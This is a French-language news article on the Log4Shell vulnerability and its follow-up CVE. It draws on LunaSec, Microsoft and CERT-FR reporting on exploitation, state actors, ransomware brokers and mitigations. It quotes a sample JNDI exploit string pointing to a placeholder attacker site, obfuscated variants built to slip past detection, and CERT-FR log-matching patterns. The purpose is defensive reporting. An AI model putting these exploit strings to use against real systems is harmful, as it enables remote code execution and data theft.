Une deuxième vulnérabilité impliquant Apache Log4j a été découverte mardi après que des experts en cybersécurité aient passé des jours à essayer de corriger ou d'atténuer CVE-2021-44228. La description de la nouvelle vulnérabilité, CVE 2021-45046, indique que le correctif pour résoudre CVE-2021-44228 dans Apache Log4j 2.15.0 était « incomplet dans certaines configurations autres que celles par défaut ». « Cela pourrait permettre aux attaquants... de créer des données d'entrée malveillantes à l'aide d'un modèle de recherche JNDI, ce qui entraînerait une attaque par déni de service (DOS) », indique la description de CVE. Apache a déjà publié un correctif, Log4j 2.16.0, pour ce problème. Le CVE indique que Log4j 2.16.0 résout le problème en supprimant la prise en charge des modèles de recherche de messages et en désactivant la fonctionnalité JNDI par défaut. Il note que le problème peut être atténué dans les versions précédentes en supprimant la classe JndiLookup du chemin de classe.Une vulnérabilité dans Log4J permet à un attaquant de provoquer une exécution de code arbitraire à distance s'il a la capacité de soumettre une donnée à une application qui utilise la bibliothèque log4j pour journaliser l'évènement. Cette attaque peut être réalisée sans être authentifié, par exemple en tirant parti d'une page d'authentification qui journalise les erreurs d'authentification. Les entreprises spécialisées en cybersécurité indiquent que le nombre d'attaques profitant de cette faille se multiplient. Les membres de l’Apache Software Fondation ont développé un patch en catastrophe pour corriger la vulnérabilité, la version 2.15.0. Des contournements sont également possibles pour réduire les risques.
Après que les responsables de log4j ont publié la version 2.15.0 pour corriger la vulnérabilité Log4Shell, un vecteur d'attaque supplémentaire a été identifié et signalé dans CVE-2021-45046. Les recherches de LunaSec montre que ce nouveau CVE invalide les atténuations précédentes utilisées pour protéger les versions 2.7.0 <= Apache log4j <= 2.14.1 de Log4Shell dans certains cas.
Conditions de la vulnérabilité
Vous pouvez toujours être vulnérable à Log4Shell (RCE) si vous n'avez activé que l'indicateur noMsgFormatLookups ou défini %m{nolookups} lorsque vous définissez également des données dans le ThreadContext avec des données contrôlées par un attaquant. Dans ce cas, vous devez passer à 2.16.0 ou bien vous serez toujours vulnérable à RCE.
Le nouveau CVE est difficile à comprendre
La mention d'un éventuel RCE est malheureusement absente du CVE publié. Dans le CVE, il ne mentionne qu'une éventuelle attaque "Denial-of-Service" pour les versions antérieures à 2.15.0.
En raison de ces résultats, LunaSec recommande à tous ceux qui utilisent log4j de mettre immédiatement à niveau vers 2.16.0 ou une version ultérieure, ou de corriger manuellement leurs classes log4j.
John Bambenek, expert en cybersécurité pour le compte de Netenrich, a déclaré que la solution consiste à désactiver complètement la fonctionnalité JNDI (ce qui est le comportement par défaut dans la dernière version). « Au moins une douzaine de groupes utilisent ces vulnérabilités, donc des mesures immédiates doivent être prises pour corriger, supprimer JNDI ou le retirer du chemin de classe (de préférence tout ce qui précède) », a déclaré Bambenek.
La société de sécurité internationale ESET a publié une carte indiquant où les tentatives d'exploitation de Log4j ont été effectuées, le volume le plus élevé se produisant aux États-Unis, au Royaume-Uni, en Turquie, en Allemagne et aux Pays-Bas. 1 Le volume de nos détections confirme qu'il s'agit d'un problème à grande échelle qui ne disparaîtra pas de sitôt », a déclaré Roman Kováč, directeur de la recherche chez ESET.
Microsoft détecte une nouvelle vague d'activités parrainées par l'État se concentrant sur le bogue Logj4
L'équipe unifiée de renseignement sur les menaces de Microsoft, comprenant le Microsoft Threat Intelligence Center (MSTIC), l'équipe Microsoft 365 Defender Threat Intelligence, RiskIQ et l'équipe Microsoft de détection et de réponse (DART), entre autres, a suivi les menaces en profitant de CVE-2021- 44228, une vulnérabilité d'exécution de code à distance (RCE) dans Apache Log4j 2 appelée « Log4Shell ».
La vulnérabilité permet l'exécution de code à distance non authentifié, et elle est déclenchée lorsqu'une chaîne spécialement conçue fournie par l'attaquant via une variété de vecteurs d'entrée différents est analysée et traitée par le composant vulnérable Log4j 2.
La plupart des attaques que Microsoft a observées à l'heure actuelle étaient liées à l'analyse de masse par des attaquants tentant d'identifier des systèmes vulnérables, ainsi qu'à l'analyse par des sociétés de sécurité et des chercheurs. Un exemple de modèle d'attaque apparaîtrait dans un journal de requêtes Web avec des chaînes comme les suivantes*: ${jndi:ldap://[attacker site]/a}.
Un attaquant effectue une requête HTTP sur un système cible, qui génère un journal à l'aide de Log4j 2 qui utilise JNDI pour effectuer une requête sur le site contrôlé par l'attaquant. La vulnérabilité amène alors le processus exploité à atteindre le site et à exécuter la charge utile. Dans de nombreuses attaques observées, le paramètre appartenant à l'attaquant est un système de journalisation DNS, destiné à enregistrer une demande sur le site pour identifier les systèmes vulnérables.
La chaîne spécialement conçue qui permet l'exécution de cette vulnérabilité peut être identifiée via plusieurs composants. La chaîne contient "jndi", qui fait référence à Java Naming and Directory Interface. Suite à cela, le protocole, tel que "ldap", "ldaps", "rmi", "dns", "iiop" ou "http", précède le domaine de l'attaquant.
Alors que les équipes de sécurité s'efforcent de détecter l'exploitation de la vulnérabilité, les attaquants ont ajouté de l'obscurcissement à ces demandes pour échapper aux détections basées sur des modèles de demande. Microsoft a vu des évènements comme l'exécution d'une commande inférieure ou supérieure dans la chaîne d'exploitation ({jndi:${lower:l}${lower:d}a${lower:p})et des tentatives d'obscurcissement encore plus compliquées (${$ {::-j}${::-n}${::-d}${::-i}) qui tentent tous de contourner les détections de correspondance de chaîne.
Au moment ou Microsoft a publié son billet, la grande majorité de l'activité observée était de l'analyse, mais des activités d'exploitation et de post-exploitation ont également été observées. En fonction de la nature de la vulnérabilité, une fois que l'attaquant a un accès et un contrôle complets d'une application, il peut atteindre une multitude d'objectifs. Microsoft a observé des activités telles que l'installation de mineurs de pièces, Cobalt Strike pour permettre le vol d'identifiants et le mouvement latéral, et l'exfiltration de données à partir de systèmes compromis.
Au 14 décembre 2021, Microsoft a observé plusieurs acteurs de la menace tirant parti de la vulnérabilité CVE-2021-44228 dans les attaques actives. Microsoft continuera de surveiller les menaces en tirant parti de cette vulnérabilité et de fournir des mises à jour dès qu'elles seront disponibles.
Activité de l'État-nation
Le MSTIC a également observé que la vulnérabilité CVE-2021-44228 était utilisée par plusieurs groupes d'activités d'États-nations suivis provenant de Chine, d'Iran, de Corée du Nord et de Turquie. Cette activité va de l'expérimentation pendant le développement, à l'intégration de la vulnérabilité au déploiement de la charge utile dans la nature et à l'exploitation par rapport aux cibles pour atteindre les objectifs de l'acteur.
Par exemple, le MSTIC a observé PHOSPHORUS, un acteur iranien qui a déployé un ransomware, acquérant et modifiant l'exploit Log4j.
En outre, HAFNIUM, un groupe d'acteurs menaçants opérant à partir de la Chine, a été observé utilisant la vulnérabilité pour attaquer l'infrastructure de virtualisation pour étendre son ciblage typique. Dans ces attaques, des systèmes associés à HAFNIUM ont été observés utilisant un service DNS généralement associé à une activité de test des systèmes de fingerprinting.
Courtiers d'accès associés aux ransomwares
MSTIC et l'équipe Microsoft 365 Defender ont confirmé que plusieurs groupes d'activités suivis agissant en tant que courtiers d'accès ont commencé à utiliser la vulnérabilité pour obtenir un accès initial aux réseaux cibles. Ces courtiers d'accès vendent ensuite l'accès à ces réseaux à des affiliés de ransomware-as-a-service. L'éditeur a observé que ces groupes tentaient d'exploiter à la fois les systèmes Linux et Windows, ce qui peut entraîner une augmentation de l'impact des ransomwares exploités par l'homme sur ces deux plateformes de système d'exploitation.
L'activité d'analyse de masse se poursuit
La grande majorité du trafic observé par Microsoft reste des analyses de masse par les attaquants et les chercheurs en sécurité. Microsoft a observé une adoption rapide de cette vulnérabilité dans les botnets existants comme Mirai, des campagnes existantes ciblant auparavant les systèmes Elasticsearch vulnérables pour déployer des mineurs de crypto-monnaie et une activité déployant la porte dérobée Tsunami sur les systèmes Linux. Bon nombre de ces campagnes exécutent des activités d'analyse et d'exploitation simultanées pour les systèmes Windows et Linux, à l'aide de commandes Base64 incluses dans la demande JDNI:ldap:// pour lancer des commandes bash sous Linux et PowerShell sous Windows.
Microsoft a également continué à observer des activités malveillantes effectuant des fuites de données via la vulnérabilité sans laisser tomber une charge utile. Ce scénario d'attaque pourrait être particulièrement impactant contre les périphériques réseau dotés d'une terminaison SSL, où l'acteur pourrait divulguer des secrets et des données.
Mesures d'atténuation
Le CERT-FR recommande de réaliser une analyse approfondie des journaux réseau. Les motifs suivants permettent d'identifier une tentative d'exploitation de cette vulnérabilité lorsqu'ils sont utilisés dans les URLs ou certaines en-têtes HTTP comme user-agent :
| Code : | Sélectionner tout |
1 2 | ${jndi:
$%7Bjndi: (prend en compte un obscurcissement simple) |
| Code : | Sélectionner tout |
1 2 3 4 5 6 7 8 9 10 | ${${
${::-
%24%7B%3A%3A-
${env:
${date:
${lower:
${upper:
hostName}
}${
${ (génère beaucoup de faux positifs, mais très exhaustif) |
Il est fortement recommandé d'utiliser la version 2.15.0 de log4j dès que possible. Cependant, en cas de difficulté de migration vers cette version, les contournements ci-dessous peuvent être appliqués temporairement :
- Pour les applications utilisant les versions 2.7.0 et ultérieures de la bibliothèque log4j, il est possible de se prémunir contre toute attaque en modifiant le format des évènements à journaliser avec la syntaxe %m{nolookups} pour les données qui seraient fournies par l'utilisateur. Cette modification impose de modifier le fichier de configuration de log4j pour produire une nouvelle version de l'application. Cela requiert donc d'effectuer de nouveau les étapes de validation technique et fonctionnelle avant le déploiement de cette nouvelle version.
- Pour les applications utilisant les versions 2.10.0 et ultérieures de la bibliothèque log4j, il est également possible de se prémunir contre toute attaque en modifiant le paramètre de configuration log4j2.formatMsgNoLookups à la valeur true, par exemple lors du lancement de la machine virtuelle Java avec l'option -Dlog4j2.formatMsgNoLookups=true. Une autre alternative consiste à supprimer la classe JndiLookup dans le paramètre classpath pour éliminer le vecteur principal d'attaque (les chercheurs n'excluent pas l'existence d'un autre vecteur d'attaque).
Sources : CVE 2021-45046, LunaSec, Microsoft, CERT-FR
).
Envoyé par Fleur en plastique
